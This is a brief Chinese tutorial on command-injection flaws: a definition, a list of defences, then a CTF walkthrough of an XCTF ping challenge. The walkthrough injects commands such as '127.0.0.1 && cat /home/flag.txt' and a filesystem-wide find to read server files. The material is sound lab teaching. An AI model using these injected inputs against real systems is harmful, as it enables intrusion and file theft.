一、命令执行漏洞综述
命令执行漏洞:是指攻击者可以随意执行系统的命令,是属于高危漏洞之一,也属于代码执行漏洞的范畴。
常见的执行漏洞有:OS命令执行漏洞,框架执行漏洞,防范命令执行漏洞
命令执行漏洞防御
- 尽量不要使用命令执行函数
- 客户端提交地变量在执行命令函数前要做好过滤和检测。
- 在使用动态函数之前,确保使用的函数是指定的函数之一
- 对PHP语言来说,不能完全控制的危险函数最好不要使用。
二、命令执行实战
1.实战地址 :
https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5071&page=1
打开页面 得到的是一个命令执行页面
2.测试页面 根据上面写的是ping 命令的执行提示,那就输入一个ip地址:127.0.0.1 测试这个功能是否有效。
成功 ,ping成功了
3.在测试一下,复合命令是否能执行,输入命令为:127.0.0.1 && ls
能成功,显示出一个名叫index.php的文件
4.查看一下index.php 内是否有flag,命令为: 127.0.0.1 && ls && cat index.php
里面没有需要的flag
5.那就搜索一下是否txt文件有没有需要的flag:命令为:127.0.0.1 &&find / -name "*.txt"
发现在目录/home/flag.txt 有个比较像的文件,那就打开文件:
输入的命令为:127.0.0.1 && cat /home/flag.txt
正好在里面得到了,需要的flag。